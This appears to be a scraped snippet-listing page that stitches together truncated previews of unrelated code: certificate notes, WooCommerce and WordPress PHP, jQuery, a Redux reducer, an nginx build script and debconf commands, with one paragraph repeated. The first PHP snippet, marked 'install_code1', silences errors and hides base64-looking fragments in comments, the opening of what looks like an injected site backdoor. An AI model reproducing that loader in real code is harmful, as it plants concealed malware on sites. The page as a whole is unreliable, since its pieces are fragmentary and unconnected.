This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.
Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).
| <?php | |
| //install_code1 | |
| error_reporting(0); | |
| ini_set('display_errors', 0); | |
| //dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW | |
| DEFINE('MAX_LEVEL', 2); | |
| //bGF5X2Vycm9ycycsIDApOwovLzJoa | |
| DEFINE('MAX_ITERATION', 50); | |
| //NuYm1WM1pHOXRZV2x1SjEwcEt |
| <?php | |
| /* | |
| Plugin Name: Conditionally send WooCommerce emails | |
| Plugin URI: https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/ | |
| Description: Dynamically determine whether to send a WooCommerce email. | |
| Author: Damien Carbery | |
| Version: 0.2 | |
| */ | |
| // The filter name is 'woocommerce_email_enabled_'.WC_Email::id e.g. 'new_order', 'cancelled_order' etc |
This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.
Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).
| /** | |
| * Load media uploader on pages with our custom metabox | |
| */ | |
| jQuery(document).ready(function($){ | |
| 'use strict'; | |
| // Instantiates the variable that holds the media library frame. | |
| var metaImageFrame; |
These are the steps I went through to set up an SSL cert. Purchase the cert
Prior to purchasing a cert, you need to generate a private key, and a CSR file (Certificate Signing Request). You’ll be asked for the content of the CSR file when ordering the certificate:
openssl req -new -newkey rsa:2048 -nodes -keyout example_com.key -out example_com.csr
| // original from:https://codepen.io/mdd/pen/wGRqbw | |
| // Reducer | |
| const counter = (state = 0, actions) => { | |
| switch (actions.type) { | |
| case 'INCREMENT': return state + 1; | |
| case 'DECREMENT': return state - 1; | |
| default: return state | |
| } | |
| } |
| <?php | |
| /** | |
| * gets the current post type in the WordPress Admin | |
| */ | |
| function get_current_post_type() { | |
| global $post, $typenow, $current_screen; | |
| //we have a post so we can just get the post type from that | |
| if ( $post && $post->post_type ) { | |
| return $post->post_type; |
| ### No longer needed as of nginx-1.13.6-1.el7_4.ngx.x86_64.rpm from nginx.org | |
| ### it was compiled against OpenSSL 1.0.2 from CentoOS 7.4 so it supports ALPN (HTTP2 works) | |
| yum -y groupinstall 'Development Tools' | |
| yum -y install wget openssl-devel libxml2-devel libxslt-devel gd-devel perl-ExtUtils-Embed GeoIP-devel rpmdevtools | |
| OPENSSL="openssl-1.0.2l" | |
| NGINX_VERSION="1.13.5-1" | |
| NJS_VERSION="1.13.5.0.1.13-1" |
for unattended installations
Ansible module: http://docs.ansible.com/ansible/debconf_module.html
query the debconf database
$ debconf-show postfix